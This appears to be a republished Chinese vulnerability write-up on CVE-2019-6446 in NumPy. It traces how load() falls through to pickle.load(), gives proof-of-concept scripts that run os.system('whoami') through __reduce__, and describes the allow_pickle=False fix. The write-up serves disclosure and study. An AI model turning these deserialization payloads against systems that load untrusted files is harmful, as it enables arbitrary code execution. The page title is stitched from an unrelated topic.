wpf window 不執行show 就不能load執行_Numpy反序列化命令執行漏洞分析(CVE-2019-6446)附0day...

c2a5eff50af4eb37ca4c028b0054e6d4.png

1、介紹

NumPy 是 Python 機器學習庫中之一,主要對于多為數組執行計算。NumPy 提供大量的 函數和操作,能夠幫助程序員便利進行數值計算。在 NumPy 1.16.0 版本之前存在反序列化 命令執行漏洞,用戶加載惡意的數據源造成命令執行。

2、環境 軟件環境如下:

NumPy 1.16.0

Windows10

PyCharm 2018.3.2

3、漏洞分析

先來看漏洞的入口,lib/npyio.py 第 288 行附近。如圖所示。

ac90a5686f6a7b568ad1567cfc69982e.png

通過 NumPy.lib.npyio.p 之中的load()方法加載序列化文件,通過 file 形參傳入文件,由于allow_pickle=True,所以可以采用序列化文件。

再看漏洞觸發位置,位置在 lib/npyio.py,第 418 行附近。由于在 windows下可能和其它系統下的行數位置存在差異,所以通過搜索_ZIP_PREFIX 變量就能快速定位到位置。為了方便閱讀,我將無關的代碼省略。

try:
# Code to distinguish from NumPy binary files and pickles.
_ZIP_PREFIX = b'PKx03x04'
_ZIP_SUFFIX = b'PKx05x06' # empty zip files start with this ……
if magic.startswith(_ZIP_PREFIX) or magic.startswith(_ZIP_SUFFIX): ……
elif magic == format.MAGIC_PREFIX: ……
else:
# Try a pickle
if not allow_pickle:
raise ValueError("Cannot load file containing pickled data "
"when allow_pickle=False")
try:
return pickle.load(fid, **pickle_kwargs)
except Exception:
raise IOError(
"Failed to interpret file %s as a pickle" % repr(file))
finally:……

能夠看到這個代碼是用于區分 NumPy 二進制文件和 pickles。默認格式要求 ZIP 文件前綴 PKx03x04 后綴 PKx05x06,如果不滿足默認的格式,則會執行 pickle.load()方法。pickle 模塊的作用是把 python 對象轉換為字符串表示和字符串重構為對象,稱之為封裝和拆封或

為序列化和反序列化。通過查看 pickle 圖表能夠進一步了解模塊,模塊是由 BaseException、

pickle._Unpickler、pickle._Pickler、pickle._Franmer、pickle._Urfamer 組成,圖表如下:

57d7aeb6a2e7f562404a7a41c21865f0.png

緊接著跟進 pickle.load()方法,相關的方法在 pickle._Urpickler 之中,如圖所示:

34556e4cdb00350a1d6b18c0f88f9631.png

跟入Lib/pickle.py 第 1060 行,如圖所示:

a3f77bf9d49182d749f7511f65871ca2.png

此處為反序列執行的方法,到此為漏洞的執行流程為: NumPy.lib.npyio.pyload()=>pickle.py load()

4、POC

默認情況下 allow_pickle=True,允許通過文件反序列化,POC 如下:

from numpy.lib import npyio
from numpy import __version__
print(__version__)
import os
class Test(object):
def __init__(self):
self.a = 1
def __reduce__(self):
return (os.system, ('whoami',))
if __name__ == '__main__':
tmpdaa = Test()
npyio.save("test",tmpdaa)
npyio.load("test.npy")或者可以通過 pickles,POC 如下:
from numpy.lib import npyio
from numpy import __version__
print(__version__)
import os
import pickle
class Test(object):
def __init__(self):
self.a = 1
def __reduce__(self):
return (os.system,('whoami',))
tmpdaa = Test()
with open("test-file.pickle",'wb') as f:
pickle.dump(tmpdaa,f)
npyio.load("test-file.pickle")

測試結果,如圖所示:

705266df512c099e316a1689ac26aa9e.png

5、對比分析

這個漏洞讓我想起了之前的反序列化問題,POC 通過構建對象、 reduce 魔法函數, 在 numpy.load()執行反序列化,之前漏洞 POC 如下:

import numpy
from numpy import __version__
print(__version__)
import os
import pickle
class Test(object):
def __init__(self):
self.a = 1
def __reduce__(self):
return (os.system,('whoami',))
tmpdaa = Test()
with open("test-file.pickle",'wb') as f:
pickle.dump(tmpdaa,f)
numpy.load('test-file.pickle')

漏洞觸發原因:numpy/core/numeric.py第 2280 行,如圖所示:

c282d24322f38080cdd181740745456b.png

8440d1758245f3a7a518e9650b9d83af.png

同樣執行了反序列化,兩者的利用非常相似,都是用的 pickle.load()。

6、防御修復

由于需要 allow_pickle=True,才可以執行反序列化,所以只要將 allow_pickle=False,就可以避免反序列化問題。NumPy 在 1.16.0 之后的版本進行了修復,修復如下:

a00849f1ced359a47a98e9184bc650ce.png

7、總結

CVE-2019-6446 漏洞給予我新的啟發,看待漏洞不能僅看漏洞本身,對于不同的漏洞入口也很重要。個人覺得不同的入口算是新的利用思路披露對于認識漏洞是很有幫助。

8、附上 0Day
截止完稿時,這個漏洞還屬于 0day,NumPy.ma.coreload 方法反序列化漏洞,如圖所示:

bf59cc54becddba19df48e9db39ce0d3.png

__________________________________________________________聲明:本文章來自團隊成員vr_system投稿,僅供白帽子、安全愛好者研究學習,對于用于非法途徑的行為,發布者及作者不承擔任何責任。我們建立了一個以知識共享為主的 免費 知識星球,旨在通過相互交流,促進資源分享和信息安全建設,為以此為生的工作者、即將步入此行業的學生等提供各自之力。為保持知識星球長久發展,所有成員需遵守本星球免費規則,鼓勵打賞;同時保持每月分享至少一次資源(安全類型資源不限,但不能存在一切違法違規及損害他人利益行為),避免“伸手黨”,即使新人我們也鼓勵通過分享心得和筆記取得進步,“僵尸粉”將每月定期清理。

384b29900c4f23268e4e3b00bdbed62d.png

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/258972.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/258972.shtml
英文地址,請注明出處:http://en.pswp.cn/news/258972.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

使用Def文件導出dll

前面我們介紹了dll的生成,大多數是使用extern "C"__declspec(dllexport)函數名的方法導出dll。其實我們還有另一種方法來導出dll。 先介紹參考文獻: 1.dll導出聲明相關 2.VS2012中 C創建DLL圖解 3.DLL中導出函數的兩種方式(dllexport與.…

HDU 1003 Maxsum

題目大意&#xff1a;求出數列的最大子段和&#xff0c;并且說明是從第幾項至第幾項。 題解1&#xff1a;簡單貪心。 #include <cstdio> #define rep(i,n) for(int i1;i<n;i) int main(){int t,l0;scanf("%d",&t);while(t--&&l){if(l!1)printf…

《JavaScript面向對象精要》——1.8 原始封裝類型

本節書摘來自異步社區《JavaScript面向對象精要》一書中的第1章&#xff0c;第1.8節&#xff0c;作者&#xff1a;【美】Nicholas C. Zakas著&#xff0c;更多章節內容可以訪問云棲社區“異步社區”公眾號查看 1.8 原始封裝類型 JavaScript中一個最讓人困惑的部分可能就是原始…

XML語法學習

本文章集合兩篇博文而寫&#xff0c;兩篇博文地址&#xff1a; XML學習總結(二)——XML入門&#xff1a; XML基礎<第一篇> XML簡介 XML是一種標記語言&#xff0c;用于描述數據&#xff0c;它提供一種標準化的方式來來表示文本數據。XML文檔以.xml為后綴。需要徹底注…

FM實現F4幫助系列三:彈出框多篩選…

FM實現F4幫助系列三&#xff1a;彈出框多篩選條件的搜索幫助&#xff08;根據搜索幫助篩選字段&#xff09;函數&#xff1a;F4IF_GET_SHLP_DESCRF4IF_START_VALUE_REQUEST效果圖&#xff1a;本例子代碼&#xff1a;找到需要的幫助:*&------------------------------------…

[數分提高]2014-2015-2第9教學周第1次課 (2015-04-28)

設 $$\bex a,b>0,\quad 0\leq f\in \calR[a,b],\quad \int_a^b xf(x)\rd x0. \eex$$ 試證: $$\bex \int_a^b x^2f(x)\rd x\leq ab \int_a^b f(x)\rd x; \eex$$ 并給出使得下列不等式成立的 (您認為的) 最優數: $$\bex \int_a^b x^3f(x)\rd x\leq (\quad) \int_a^b f(x)\rd x…

《計算復雜性:現代方法》——0.2 判定問題/語言

本節書摘來自華章計算機《計算復雜性&#xff1a;現代方法》一書中的第0章&#xff0c;第0.2節&#xff0c;作者 &#xff3b;美&#xff3d;桑杰夫阿羅拉&#xff08;Sanjeev Arora&#xff09;&#xff0c;博阿茲巴拉克&#xff08;Boaz Barak&#xff09;&#xff0c;譯 駱吉…

python從date目錄導入數據集_使用python劃分數據集

無論是訓練機器學習或是深度學習&#xff0c;第一步當然是先劃分數據集啦&#xff0c;今天小白整理了一些劃分數據集的方法&#xff0c;希望大佬們多多指教啊&#xff0c;嘻嘻~ 首先看一下數據集的樣子&#xff0c;flower_data文件夾下有四個文件夾&#xff0c;每個文件夾表示一…

開源牛人 zcbenz

事情是這樣的&#xff0c;微軟推出了Visual Studio Code&#xff0c;我很好奇他怎么做跨平臺的&#xff0c;所以就找找資料&#xff0c;在他的網站中是這么描述的&#xff1a; Architecturally, Visual Studio Code combines the best of web, native, and language-specific t…

eclipse 與 tomcat 的那些路徑

我們用mvn創建了一個web工程&#xff0c;同時希望在eclipse里調試開發。mvn有mvn的路徑要求&#xff0c;eclispe有eclipse的默認路徑&#xff0c;怎么整合二者&#xff1f; 首先介紹一下eclipse的默認路徑。 重點在Server Locations里面。 下面我們把[workspace]/.metadata\.pl…

boost解析xml文件

前面我們介紹了xml文件&#xff0c;今天我們試著用boost庫來解析xml文件。我們將舉兩個例子來說明怎么使用。 來自boost官方的例子 先看xml文件的內容&#xff1a; <debug><filename>debug.log</filename><modules><module>Finance</modul…

使用網橋模式(bridge networking mode)配置KVM-QUME虛擬機網絡

&#xff08;1&#xff09;linux要工作在網橋模式&#xff0c;所以必須安裝兩個RPM包。即&#xff1a;bridge-utils和tunctl。它們提供所需的brctl、tunctl命令行工具。能夠使用yum在線安裝&#xff1a; [rootserver3 ~]# yum install bridge-utils &#xff08;2&#xff09;查…

python數據處理常用函數_pandas數據分析常用函數總結大全:上篇

基礎知識在數據分析中就像是九陽神功&#xff0c;熟練的掌握&#xff0c;加以運用&#xff0c;就可以練就深厚的內力&#xff0c;成為絕頂高手自然不在話下&#xff01; 為了更好地學習數據分析&#xff0c;我對于數據分析中pandas這一模塊里面常用的函數進行了總結。整篇總結&…

XML的應用

1.XML的定義: XML 于 1998 年 2 月 10 日成為 W3C 的推薦標準。xml一般指可擴展標記語言&#xff0c;可擴展標記語言是一種很像超文本標記語言的標記語言。它的設計宗旨是傳輸數據&#xff0c;而不是顯示數據。 2.通過XML我們可以自定義自己的標簽&#xff0c;如&#xff1a; &…

虛擬機VMware里 windows server 2003 擴充C盤方法

你會經常用windows server 2003 嗎&#xff1f;應該不會吧&#xff0c;有時一些東西必須裝在windows server 2003 上才能用&#xff0c;所以 用虛擬機把&#xff0c;好&#xff0c;裝在虛擬機上&#xff0c;8G的C盤夠你用嗎&#xff0c;一個稍微大點的軟件就可能就沒空間來存儲…

從運維角度淺談MySQL數據庫優化

一個成熟的數據庫架構并不是一開始設計就具備高可用、高伸縮等特性的&#xff0c;它是隨著用戶量的增加&#xff0c;基礎架構才逐漸完善。這篇博文主要談MySQL數據庫發展周期中所面臨的問題及優化方案&#xff0c;暫且拋開前端應用不說&#xff0c;大致分為以下五個階段&#x…

c語言c99標準_自學C語言之一

上次自學C語言還是在剛開學到國慶期間&#xff0c;聽學姐的建議買了本C語言的書&#xff0c;在軍訓期間的晚上翻翻看看。后來選課、開始正式上課、面試社團、開各種會等等&#xff0c;好像每天都有許多事要忙&#xff0c;但又沒忙出來什么結果&#xff0c;慢慢地好像就把C語言放…

boost解析info文件

先給出info文件&#xff1a; parameters {MAX_STAGES 4MAX_DEPTH 3MAX_NUMTRESS 5MAX_NUMTHRESHS 500MAX_NUMFEATS 1000,1000,1000,500,500,500,400,400MAX_RATIO_RADIUS 0.3,0.2,0.2,0.15,0.12,0.10,0.08,0.06,0.06,0.05BAGGING_OVERLAP 0.4IS_FLIP true }meanface {MAX_ITER…

Font Rending 的 Hint 機制對排版的影響

Font Rending 的 Hint 機制對排版的影響【轉】 在設計一種 Font 時&#xff0c;設計者使用的是一個抽象的單位&#xff0c;叫做 EM&#xff0c;來源于大寫 M 的寬度&#xff08;通常英文字體中大寫 M 的寬度最大&#xff09;。EM 即不同于在屏幕顯示時用的像素&#xff08;Pixe…

《SQL初學者指南(第2版)》——2.4 指定列

本節書摘來自異步社區出版社《SQL初學者指南&#xff08;第2版&#xff09;》一書中的第2章&#xff0c;第2.4節&#xff0c;作者&#xff1a;【美】Larry Rockoff&#xff0c;更多章節內容可以訪問云棲社區“異步社區”公眾號查看。 2.4 指定列 到目前為止&#xff0c;我們只…